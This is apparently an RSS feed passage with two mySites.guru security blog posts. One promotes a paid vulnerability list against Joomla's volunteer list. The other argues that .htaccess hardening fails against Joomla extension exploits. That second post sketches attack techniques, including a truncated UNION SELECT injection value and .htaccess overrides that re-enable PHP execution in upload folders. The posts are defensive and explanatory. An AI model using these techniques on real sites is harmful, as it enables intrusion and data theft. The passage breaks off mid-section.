&lt;p&gt;The official VEL lives at &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;extensions.joomla.org/vulnerable-extensions/vulnerable/&lt;/a&gt; (the memorable &lt;code&gt;vel.joomla.org&lt;/code&gt; address redirects there). It is run by a volunteer team under the Joomla Extensions Directory, and it covers third-party components, modules, plugins and templates. Joomla core is deliberately out of scope, because that is the &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&apos;s&lt;/a&gt; job. That split is worth noticing: Joomla&apos;s own security structure treats core and extensions as two different problems, and puts a dedicated team on each. Third-party code is not a footnote to the risk, it is most of the risk.&lt;/p&gt;
&lt;p&gt;The VEL does its job well within its limits (although it has been largely abandoned), and it is honest about those limits. Its own about page carries the line that the list &quot;is compiled from found information and may not be an up to date accurate list.&quot; Reports come in manually, by email or a form, and a volunteer team processes them. There is no CVSS score on an entry, just a vulnerability type and a date. And there are only a few hundred entries, because it depends on someone taking the time to report each one.&lt;/p&gt;
&lt;p&gt;To see how thin that gets in practice, here is the live list on the day this was written.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is page one, the most recent entries, and it already reaches back to 2023. Joomla&apos;s official list of currently-vulnerable extensions is adding a handful of entries a year, which is nowhere near the pace of a live threat landscape. The three newest, all dated 17 July 2026, are &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt;, and they are on the list because we reported them.&lt;/p&gt;
&lt;p&gt;Now open one. This is the VEL&apos;s complete entry for DPCalendar, a component with a serious unauthenticated SQL injection that lets an anonymous visitor read the entire site database:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole page. &quot;dpcalendar, , 3rd party extension, Other.&quot; No affected version, so you cannot tell whether your install is one of the vulnerable ones. No CVE. No severity. No description of the flaw, no fixed version, and no advice beyond the category page&apos;s blanket &quot;uninstall any listed here.&quot; A site owner who lands there has learned the name of a component they almost certainly already knew they had, and nothing else. An entry that is not actionable is not doing the one job a vulnerability list exists to do.&lt;/p&gt;
&lt;p&gt;None of that is a criticism of the volunteers who keep the VEL running on their own time. It is a small, manual, best-effort list, it is Joomla-only, and for long stretches it has been close to dormant. If your world is bigger than that, you need something bigger than that.&lt;/p&gt;
&lt;h2&gt;Why third-party extensions are the real risk surface&lt;/h2&gt;
&lt;p&gt;It is worth being blunt about where the danger is, because it shapes where you should spend your attention. Patchstack&apos;s &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;State of WordPress Security in 2026&lt;/a&gt; report, published in February 2026 and covering the 2025 data, found 11,334 new WordPress vulnerabilities disclosed that year. Ninety-one percent were in plugins, nine percent in themes, and just six were in WordPress core.&lt;/p&gt;
&lt;p&gt;Joomla does not publish a headline number like that, but its security structure says the same thing in a different way. Core gets the Joomla Security Strike Team. Extensions get the VEL. The project itself treats third-party code as a separate, large risk surface worth its own dedicated volunteer effort. Keeping core patched is necessary and it is also the easy part. The messy, sprawling risk is the dozens of extensions on each site, each on its own version, each shipped by a different vendor with a different idea of what &quot;security update&quot; means.&lt;/p&gt;
&lt;p&gt;That is exactly the surface a portfolio-wide list is built for. One vulnerable component across two hundred sites is not two hundred problems you find one at a time. It is one search.&lt;/p&gt;
&lt;h2&gt;Why a volunteer list can never keep up&lt;/h2&gt;
&lt;p&gt;Managing CVE and security information at the pace it now moves is close to a full-time job on its own. Wordfence alone publishes new vulnerability reports at a rate north of two hundred a week. No volunteer effort keeps up with that, and the Joomla ecosystem is chronically short of experienced volunteers, so the VEL has always run behind, and on its current model it always will.&lt;/p&gt;
&lt;p&gt;There is talk of a resurgence, and the Joomla project is making some small improvements to how vulnerable extensions are handled (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48127&quot;&gt;this pull request&lt;/a&gt; is a start, and it is good to see). But small tweaks to a volunteer-run list do not change the arithmetic. They cannot make it reactive, and they cannot connect it to your sites.&lt;/p&gt;
&lt;p&gt;We can say that plainly because we are at the coal face. mySites.guru is in daily contact with the best part of a hundred thousand Joomla and WordPress sites, we take in reports from those sites every day, and a large share of the recent Joomla entries on the official VEL are ours. That is a different vantage point entirely from a list that updates whenever a report happens to arrive. When you are looking after five hundred Joomla sites, the useful question is never whether an extension is vulnerable in the abstract. It is which of your five hundred are running it, and on what version. That is what mySites.guru was built to answer.&lt;/p&gt;
&lt;h2&gt;How is the mySites.guru list different from the official Joomla VEL?&lt;/h2&gt;
&lt;p&gt;Four ways, and none of them are about replacing it.&lt;/p&gt;
&lt;p&gt;First, coverage: the VEL is Joomla-only, this covers Joomla and WordPress in one list.&lt;/p&gt;
&lt;p&gt;Second, detail: every entry carries a severity and, where one exists, a CVE, rather than a bare vulnerability-type label.&lt;/p&gt;
&lt;p&gt;Third, and this is the one that matters, it is connected to your sites. The VEL tells you a piece of software is vulnerable. mySites.guru tells you that three of your clients are running it, and takes you to them.&lt;/p&gt;
&lt;p&gt;Fourth, it is active. It is maintained by mySites.guru and can be added to within seconds of us discovering something new, with no wait on a volunteer team to receive and process a report. When we confirm a flaw, every connected site is being checked against it almost immediately.&lt;/p&gt;
&lt;p&gt;The official VEL is still worth reading, and we still &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;contribute the flaws we find&lt;/a&gt; back into the wider ecosystem. If you manage a handful of Joomla sites and nothing else, it may be all you need. The moment you are managing more sites than you can hold in your head, or any WordPress alongside your Joomla, a static list you have to cross-reference by hand stops scaling. That is the point this was built for.&lt;/p&gt;
&lt;h2&gt;Why is this behind a paywall?&lt;/h2&gt;
&lt;p&gt;mySites.guru has never been a free service. It is a subscription product, and this is a feature inside it, built for the paying subscribers who get value from it. It is not a community resource for the Joomla project and was never offered as one. The vulnerability list sits alongside the extension inventory, the updates, the backups and the audits, and it comes with the subscription the same way everything else does. If you want our data, out of our database, you subscribe.&lt;/p&gt;
&lt;p&gt;The raw ingredients are free if that is what you are after. Every CVE we list is published by the &lt;a href=&quot;https://nvd.nist.gov/vuln/search&quot;&gt;NVD&lt;/a&gt; and anyone can read it. &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; publish their WordPress vulnerability database. The Joomla VEL is public, for as long as anyone is still updating it. Nobody is stopping you watching all of those yourself.&lt;/p&gt;
&lt;p&gt;What the subscription pays for is the work wrapped around that data: collating it, researching it, investigating the flaws ourselves, and then cross-matching the whole lot against the extensions actually installed on the sites actually in your account. That means you are not sitting across four vulnerability databases hoping you catch it when somebody drops a zero-day at three in the morning. It arrives in one place, already matched to your sites.&lt;/p&gt;
&lt;p&gt;That is where the value is for anyone running sites in volume. When something new hits &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, one click tells you which of your sites run it and on what version. For a digital agency looking after five hundred sites, some of them a decade old and inherited from somebody else, having that answer in seconds instead of an afternoon is the entire point. At &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 a month for unlimited sites&lt;/a&gt;, it works out at pennies per site to never cross-reference a vulnerability by hand again.&lt;/p&gt;
&lt;h2&gt;How do I see my affected sites right now?&lt;/h2&gt;
&lt;p&gt;If you already have sites connected to mySites.guru, open the &lt;a href=&quot;https://manage.mysites.guru/vulnerabilities&quot;&gt;Latest Vulnerabilities&lt;/a&gt; page from the sidebar, or hit &lt;strong&gt;Check your sites&lt;/strong&gt; on any entry. Anything you are running that is vulnerable is flagged, and the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;Vulnerable Plugins filter&lt;/a&gt; on your sites list has been doing the site-by-site version of this for a while.&lt;/p&gt;
&lt;p&gt;If you are not connected yet, that is the first step. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Add your sites&lt;/a&gt; and mySites.guru builds the inventory of every extension and version across all of them, then keeps it cross-referenced against the vulnerability list from then on. The next time a disclosure lands, whether it is Joomla or WordPress, you will not be asking whether it affects you. You will already be looking at the list of sites that need updating.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;Joomla Vulnerable Extensions List, official about page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence Intelligence, WordPress Vulnerability Database&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;Patchstack, State of WordPress Security in 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Manage every extension across all your Joomla sites&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Manage all your Joomla and WordPress sites in one place&lt;/p&gt;
  &lt;p&gt;One dashboard for every site you look after: a live inventory of every extension and version, both platforms in one vulnerability list, and every affected site flagged the moment something is disclosed. Updates, backups and audits from the same screen.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Add your sites and see what is vulnerable&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Not ready to connect anything yet? Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on a single site to see its full extension inventory and where it stands, or read more about managing &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multiple Joomla sites&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;multiple WordPress sites&lt;/a&gt; from one dashboard.&lt;/p&gt;
&lt;p&gt;[^wordfence]: The WordPress vulnerability data in the mySites.guru list is republished from the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence Intelligence vulnerability database&lt;/a&gt; and the MITRE CVE program. Both licences require their text to be reproduced in any copy, so they are set out in full below. The Joomla entries are mySites.guru&apos;s own research and curation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**Copyright 2012-2024 Defiant Inc.** Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant&apos;s copyright designation and this license in any such copy.

**Copyright 1999-2024 The MITRE Corporation.** [CVE Usage](https://www.cve.org/Legal/TermsOfUse): MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE). Any copy you make for such purposes is authorized provided that you reproduce MITRE&apos;s copyright designation and this license in any such copy.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>vulnerability</category><category>vel</category><enclosure url="https://mysites.guru/_astro/vulnerable-extension-list-joomla-wordpress.Cdr69Yl0.png" length="0" type="image/png"/></item><item><title>Your .htaccess Won&apos;t Stop a Joomla Hack</title><link>https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/</link><guid isPermaLink="true">https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/</guid><description>A hardened .htaccess feels safe, but Joomla attacks ride straight through index.php. Here is why the file protects far less than most site owners think.</description><pubDate>Tue, 21 Jul 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A provocative, click-bait claim? Yes. Also true: your &lt;code&gt;.htaccess&lt;/code&gt; file does almost nothing for your Joomla site&apos;s security.&lt;/p&gt;
&lt;p&gt;That will annoy a lot of people, because hardening the &lt;code&gt;.htaccess&lt;/code&gt; is the first thing most site owners and half the &quot;secure your Joomla&quot; guides reach for. It feels like locking a door. In practice it is closer to padlocking your fridge and fitting a deadbolt to your toilet door, then calling it home security. The burglar cannot drink your beer and he cannot use your toilet. He is still standing in your kitchen, and he was never especially interested in either. The lock is real. The reassurance is real. The security is mostly theatre.&lt;/p&gt;
&lt;p&gt;A lot of people will not read this entire post, for sure, and will be angered at the very notion that I have written it, and will attempt to discredit parts of it. That does not change the hard truths it tells.&lt;/p&gt;
&lt;p&gt;Let me be precise about what I am and am not saying. I am not saying a &lt;code&gt;.htaccess&lt;/code&gt; is useless, or that you should throw it away. It is genuinely good at a short list of jobs. I am saying that the thing most people believe it does, stand between an attacker and a vulnerability, is not the thing it actually does, and that believing otherwise is how sites get owned while their owners feel protected. I will show you why using Joomla&apos;s own documentation and Joomla&apos;s own code as the evidence, and then tell you what actually keeps a site standing.&lt;/p&gt;
&lt;h2&gt;Joomla is about to bet harder on the .htaccess&lt;/h2&gt;
&lt;p&gt;The reason to say all this now is that Joomla is moving in exactly the opposite direction. A genuine, ongoing surge in third-party &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Joomla extension exploits&lt;/a&gt; has the community rattled and looking for an answer, and one answer is gathering real support: ship a stricter &lt;code&gt;.htaccess&lt;/code&gt; by default so that a fresh Joomla install is locked down out of the box.&lt;/p&gt;
&lt;p&gt;There are two threads to this. The first is already on the table as &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48076&quot;&gt;Brian Teeman&apos;s open pull request #48076&lt;/a&gt;, targeting a future Joomla 6.2. It adds a directory-scoped allow-list to &lt;code&gt;htaccess.txt&lt;/code&gt; for the &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;files&lt;/code&gt; folders: a defined set of safe extensions is permitted, and everything else in those three directories is refused with a 403.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule ^(?:images|media|files)/ - [F,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The allow-list in front of that deny rule runs to &lt;code&gt;7z|avif|bmp|css|csv|doc|docx|eot|gif|gz|htm|html|ico|jpg|js|json|mp3|mp4|pdf|png|svg|txt|webp|woff|woff2|xls|xlsx|xml|zip&lt;/code&gt; and a handful more. It is a sensible, tightly-scoped idea aimed squarely at the folders attackers love to drop shells into, and on its own, as one narrow layer, I have no quarrel with it. The danger is not that narrow rule. It is treating a few whitelisted folders as if they were a security perimeter. The second thread is the one to watch: a Security Strike Team discussion has moved further, toward a default &lt;code&gt;.htaccess&lt;/code&gt; that restricts which entry points are allowed to run at all, front-controller style, by default. David Jardin, a member of the Joomla Security Strike Team, offered to prepare that pull request.&lt;/p&gt;
&lt;p&gt;The instinct is right. Something does need to change, and the people involved are competent and responding to a genuine problem. But restricting entry points in the &lt;code&gt;.htaccess&lt;/code&gt; defends at the wrong layer, and the community&apos;s own discussion surfaced exactly why, in several ways worth pulling apart one at a time.&lt;/p&gt;
&lt;h3&gt;It breaks legitimate tools&lt;/h3&gt;
&lt;p&gt;When the entry-point restriction was debated, the counter-examples came from the most respected corners of the ecosystem: Akeeba&apos;s &lt;code&gt;kickstart.php&lt;/code&gt; and its backup-restore script are designed to run as standalone PHP outside the Joomla application, and Joomla&apos;s own updater has &lt;code&gt;index.php&lt;/code&gt; hand off directly to the updater&apos;s &lt;code&gt;extract.php&lt;/code&gt; under the right conditions. (And yes, recent Joomla versions can now route the core auto-update through &lt;code&gt;index.php&lt;/code&gt; itself; that does not change the fact that for well over a decade the upgrade required direct access to &lt;code&gt;com_joomlaupdate&lt;/code&gt;&apos;s own extract and finalise scripts, and plenty of installs still lean on exactly that path.) A blanket &quot;only approved entry points may run&quot; rule risks breaking the exact tools people reach for when a site is already on fire.&lt;/p&gt;
&lt;p&gt;And it reaches well beyond recovery tools. A great deal of ordinary e-commerce depends on an external service posting directly to a script on your site: PayPal IPN callbacks, WorldPay and other payment-gateway notifications, webhook receivers, shipping and CRM integrations, every one of them a server-to-server request that arrives with no browser, no session, and often no trip through &lt;code&gt;index.php&lt;/code&gt; at all. Block the endpoint the gateway was told to call and the notification is simply lost, so the customer is charged, the order never completes, and nobody notices until the refunds and chargebacks start.&lt;/p&gt;
&lt;p&gt;You can rewrite all of it, of course. Every one of those endpoints could be re-plumbed to enter through Joomla&apos;s approved &lt;code&gt;index.php&lt;/code&gt; and satisfy the whitelist. But there is a decade of working scripts already in production that a single line added to a default &lt;code&gt;.htaccess&lt;/code&gt; would break the instant it shipped, silently, with no migration path and no warning. And the rewrite is not free even when you do it. Routing a lean, standalone callback through &lt;code&gt;index.php&lt;/code&gt; means booting the entire Joomla stack to serve it: loading the framework, firing every system plugin, running all the bootstrap code a full page view runs, just to record one payment notification that a small standalone script currently handles in a fraction of the CPU and memory. You would be trading a fast, isolated request for a slow, heavy one on every callback, and calling the result more secure.&lt;/p&gt;
&lt;h3&gt;It only works on Apache&lt;/h3&gt;
&lt;p&gt;As Teeman himself noted of the Windows equivalent on that very pull request, &quot;As the web.config already has weaker settings than htaccess I would suggest that is considered in its own pr&quot; - an open admission that the non-Apache half of Joomla&apos;s own shipped hardening is weaker and, in his words, that he cannot test it. Every Joomla site on IIS, and every site fronted by Nginx or Cloudflare, gets a different and lesser version of this protection, or none of it. A default lock that works one way if your house was built by Apache, a weaker way if it was built by IIS, and not at all if it was built by Nginx or Caddy, is not a default. It is a coin toss decided by a hosting choice your site owner made years ago for unrelated reasons.&lt;/p&gt;
&lt;p&gt;And there is no parity across the web servers Joomla claims to support. The project hardens the Apache &lt;code&gt;.htaccess&lt;/code&gt; while, by its own admission, the &lt;code&gt;web.config&lt;/code&gt; it ships for IIS carries weaker settings, and Nginx, Caddy and every other web server get nothing at all. Nor is there a word of guidance on the layer that now fronts a huge share of Joomla sites: how to correctly configure Cloudflare, which by itself sits in front of more than a fifth of the entire web, is left completely unaddressed, even though the edge is exactly where this kind of hardening actually belongs. A single release can therefore lock down the wrong things on Apache and, by pouring all its attention there, leave every non-Apache site with a wider relative attack surface and no equivalent protection. Hardening one server family while neglecting the rest is not defence in depth. It is defence in one place.&lt;/p&gt;
&lt;h3&gt;It fixes nothing behind the doors that stay open&lt;/h3&gt;
&lt;p&gt;A default rule that blocks some entry points does absolutely nothing about the vulnerable code sitting behind the entry points that have to remain open. Joomla&apos;s own &lt;code&gt;com_ajax&lt;/code&gt; is the clearest example: a general-purpose dispatcher, reached through &lt;code&gt;index.php&lt;/code&gt; by design, that any plugin or module can hook into, and one no entry-point whitelist can ever close because a large part of the front end depends on it. Several of the vulnerabilities we have disclosed rode straight through it: an &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;unauthenticated file write in JoomShaper&apos;s Helix3&lt;/a&gt; and an &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;unauthenticated menu write that became stored XSS in Helix Ultimate&lt;/a&gt; were both reachable through &lt;code&gt;com_ajax&lt;/code&gt; with no token and no permission check at all. The whitelist has to leave that door open, so it does nothing for any of them. And nearly every exploit in the current surge arrives through the one entry point that can never be closed: &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;It gives novice users no safe way to change it&lt;/h3&gt;
&lt;p&gt;Even where the shipped rule is right, the people it reaches cannot safely adapt it, and that matters the moment their site needs it to behave even slightly differently. Editing a &lt;code&gt;.htaccess&lt;/code&gt; is not for the faint-hearted: it is regular-expression wizardry that even seasoned web developers get wrong, and a single mistaken character does not degrade gracefully, it returns a &lt;code&gt;500 Internal Server Error&lt;/code&gt; for the entire site. Akeeba&apos;s Admin Tools Professional solved exactly this years ago with its &lt;code&gt;.htaccess&lt;/code&gt; Maker, a checkbox interface that lets a non-expert choose behaviours instead of hand-writing PCRE. There is no proposal to give the core Joomla administrator anything like it. So a site owner who needs to allow one legitimate extension, or unblock one path the default refused, is handed a file of raw regex and left to edit it by hand, which is precisely how these files end up either breaking the site or being deleted wholesale in frustration.&lt;/p&gt;
&lt;h2&gt;A hardened .htaccess protects less than you think&lt;/h2&gt;
&lt;p&gt;Here is the uncomfortable mechanic that the whole argument rests on. Almost every serious Joomla vulnerability of the last few years, SQL injection, unauthenticated file upload leading to remote code execution, arbitrary file read, arbitrary file deletion, is exploited through a normal, approved request to &lt;code&gt;index.php&lt;/code&gt;. Put bluntly: &lt;strong&gt;many of the recent Joomla vulnerabilities walk straight in through that whitelisted front door&lt;/strong&gt;, the one door every hardening scheme is forced to leave open. It is the main Joomla entry point, the front controller that every legitimate page view already flows through. Your &lt;code&gt;.htaccess&lt;/code&gt; exists precisely to route requests &lt;em&gt;to&lt;/em&gt; &lt;code&gt;index.php&lt;/code&gt;. Its central job, the SEF URL rewriting that makes &lt;code&gt;/about-us&lt;/code&gt; resolve to &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=42&lt;/code&gt;, is to make sure requests reach that front controller. It cannot then protect you from an attack that arrives as a perfectly ordinary request to the one endpoint it is built to feed.&lt;/p&gt;
&lt;p&gt;Think about what a &lt;code&gt;.htaccess&lt;/code&gt; can actually see and act on. It works at the level of the request line and headers: the path, the query string, the method, the user-agent, the referrer. It has no idea what the PHP behind that request is going to &lt;em&gt;do&lt;/em&gt; with those values. A gallery component, a forms extension, a page builder, any of them can carry a flaw that an attacker triggers with a request that is, at the HTTP level, indistinguishable from legitimate traffic. The rewrite rules wave it through, because at the layer where &lt;code&gt;.htaccess&lt;/code&gt; operates there is nothing wrong with it. The vulnerable PHP runs. No &lt;code&gt;.htaccess&lt;/code&gt; rule was ever going to sit in the way, because the request never looked wrong at the only layer &lt;code&gt;.htaccess&lt;/code&gt; can inspect.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: what a .htaccess can and cannot see&lt;/p&gt;
  &lt;p&gt;Joomla&apos;s SEF rewriting is the block that ends with &lt;code&gt;RewriteRule (.*) index.php [L]&lt;/code&gt;. Every pretty URL, say &lt;code&gt;/blog/my-article&lt;/code&gt;, is rewritten to &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=42&lt;/code&gt; and handed to Joomla&apos;s front controller. The &lt;code&gt;.htaccess&lt;/code&gt; operates entirely on the request line and headers: the method, the path, the query string, the user-agent, the referrer. It never sees, and by design cannot see, which component the router will dispatch to, which &lt;code&gt;task&lt;/code&gt; will run, whether the code casts &lt;code&gt;id&lt;/code&gt; to an integer before it hits the database, or whether the extension calls &lt;code&gt;authorise()&lt;/code&gt; before it writes a file.&lt;/p&gt;
  &lt;p&gt;By the time any of those decisions are made, the request is already several stack frames deep inside PHP, well past the layer the &lt;code&gt;.htaccess&lt;/code&gt; controls. Trying to filter the attack at the &lt;code&gt;.htaccess&lt;/code&gt; means guessing, from the request line alone, what the PHP a dozen frames later is going to do wrong. You cannot pattern-match your way to that from the outside.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is not theoretical, and it is not rare. It is the same pattern behind &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;attacks that ride in through the CMS&apos;s own AJAX and API endpoints&lt;/a&gt;, where a component verifies a CSRF token but never checks who is calling or whether they are allowed to. It is why a &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;single POST to an approved SP Page Builder endpoint could drop a live web shell&lt;/a&gt;, returning a clean 200, immediately followed by a request to the planted PHP file. The perimeter was never breached. Nothing was forced. The attacker used the door, held open by design, that your &lt;code&gt;.htaccess&lt;/code&gt; exists to keep open.&lt;/p&gt;
&lt;h2&gt;How do Joomla attacks get past your .htaccess?&lt;/h2&gt;
&lt;p&gt;They do not get &lt;em&gt;past&lt;/em&gt; it. They go &lt;em&gt;through&lt;/em&gt; it, using the exact route it is built to permit. It is worth walking through the two most common Joomla compromise patterns in detail, because once you see the mechanics you stop believing a rewrite rule could have helped.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unauthenticated file upload to remote code execution.&lt;/strong&gt; A front-end task in a vulnerable extension accepts a file it should have rejected, or writes it to a folder it should never have written to. The request is something like &lt;code&gt;index.php?option=com_vulnerable&amp;amp;task=upload&lt;/code&gt;, a POST with a multipart body. To your &lt;code&gt;.htaccess&lt;/code&gt; this is a request to &lt;code&gt;index.php&lt;/code&gt; with a query string and a file attached, which is exactly what a legitimate contact-form submission or media upload looks like. It passes it on without hesitation. The extension then writes an attacker-controlled &lt;code&gt;.php&lt;/code&gt; file into a web-served directory, and the attacker requests it. Now they have code execution on your server. We have documented this precise class over and over: the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE profile-upload attack that walked in through a legitimate editor endpoint&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;fully unauthenticated remote code execution straight through the com_ajax endpoint in the Novarain Framework&lt;/a&gt;, where six weeks after the patch nearly half the affected sites in our data were still exposed. In none of these did a &lt;code&gt;.htaccess&lt;/code&gt; rule have any part to play, because the malicious request was, byte for byte at the HTTP layer, an ordinary one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SQL injection.&lt;/strong&gt; A parameter that should be an integer, an article ID, a category filter, a sort order, is concatenated raw into a database query instead of being bound or cast. The attacker sends their payload as a value on a normal page URL: &lt;code&gt;index.php?option=com_something&amp;amp;id=1 UNION SELECT ...&lt;/code&gt;. There is no &lt;code&gt;.htaccess&lt;/code&gt; rule on earth that can reliably tell a malicious &lt;code&gt;id&lt;/code&gt; value from a legitimate one, because both are just text in the query string of a request to &lt;code&gt;index.php&lt;/code&gt;. You could try to blocklist SQL keywords, and people do, and it is the same losing game we will come to below: attackers encode, comment-split, and case-vary their way around any keyword list you invent, while your rule starts throwing 403s at legitimate searches that happen to contain the word &quot;select&quot; or &quot;union&quot; or an apostrophe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unauthenticated data exposure through a broken access check.&lt;/strong&gt; Not every compromise ends in code execution. Some just hand over data that should have stayed private, and a &lt;code&gt;.htaccess&lt;/code&gt; is even more useless against these because there is not even a stray file to block. We recently found an &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;invoice download in Events Booking that returned any registrant&apos;s invoice to an anonymous visitor&lt;/a&gt;: full name, postal address, email and the amount they paid, chosen by a sequential ID number in the URL. The request is an ordinary GET to &lt;code&gt;index.php&lt;/code&gt;, indistinguishable at the HTTP layer from a genuine attendee fetching their own receipt. Your &lt;code&gt;.htaccess&lt;/code&gt; looks at it, sees a normal request to &lt;code&gt;index.php&lt;/code&gt;, the one file it is built to whitelist so Joomla can run at all, and waves it straight through. There is no upload to inspect, no &lt;code&gt;.php&lt;/code&gt; file to deny, no SQL keyword to match, nothing for a rule to grab hold of. An attacker just counts the ID up from one and collects every invoice on the site. A hardened &lt;code&gt;.htaccess&lt;/code&gt; would not have stopped a single one of those downloads, because the whole attack rode in through the exact front door the file exists to hold open.&lt;/p&gt;
&lt;p&gt;When we went back over &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a full month of Joomla security disclosures&lt;/a&gt;, nearly every one shared a single root cause: a public endpoint that trusts anonymous input. A firewall or a hardened &lt;code&gt;.htaccess&lt;/code&gt; can, at the very best, stop an already-uploaded PHP file from &lt;em&gt;executing&lt;/em&gt; in an uploads folder, which is worth having as one layer. Neither one fixes the underlying bug, and neither one stops the request that triggers it. The vulnerability is in the code the request reaches, not in the route it took to get there.&lt;/p&gt;
&lt;h2&gt;What if an attacker can delete or overwrite your Joomla .htaccess?&lt;/h2&gt;
&lt;p&gt;Now it gets worse, because a &lt;code&gt;.htaccess&lt;/code&gt; is not a wall. It is a file. Files can be deleted. Files can be overwritten. And plenty of vulnerabilities let an attacker do exactly one of those things.&lt;/p&gt;
&lt;p&gt;An arbitrary-file-deletion bug removes your &lt;code&gt;.htaccess&lt;/code&gt; in the time it takes to send one request, and takes every protective rule in it with it - like the one I recently reported, responsibly, in Joomla core&apos;s own updater, and which the project fixed. Go figure: the same project now proposing to lean harder on the &lt;code&gt;.htaccess&lt;/code&gt; had a flaw that could have deleted that very file. (More on that shortly.) From that moment the folder it was guarding is wide open, and the deletion may not even be noticed for weeks. An upload-anywhere bug is arguably worse, because the attacker does not need to delete anything: they write a new &lt;code&gt;.htaccess&lt;/code&gt; of their own, straight over the top of yours. That replacement can do anything Apache allows. It can re-enable PHP execution in your uploads directory with a single &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;php_flag engine on&lt;/code&gt; line, turning a folder of harmless images into a place their shell will run. It can add a &lt;code&gt;RewriteRule&lt;/code&gt; that cloaks your site, showing Googlebot spam and showing you a clean page. It can 301-redirect every visitor to a phishing or malware network while your homepage still looks fine to you. The file you trusted to protect the folder becomes the mechanism that betrays it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: how a planted .htaccess turns images into code&lt;/p&gt;
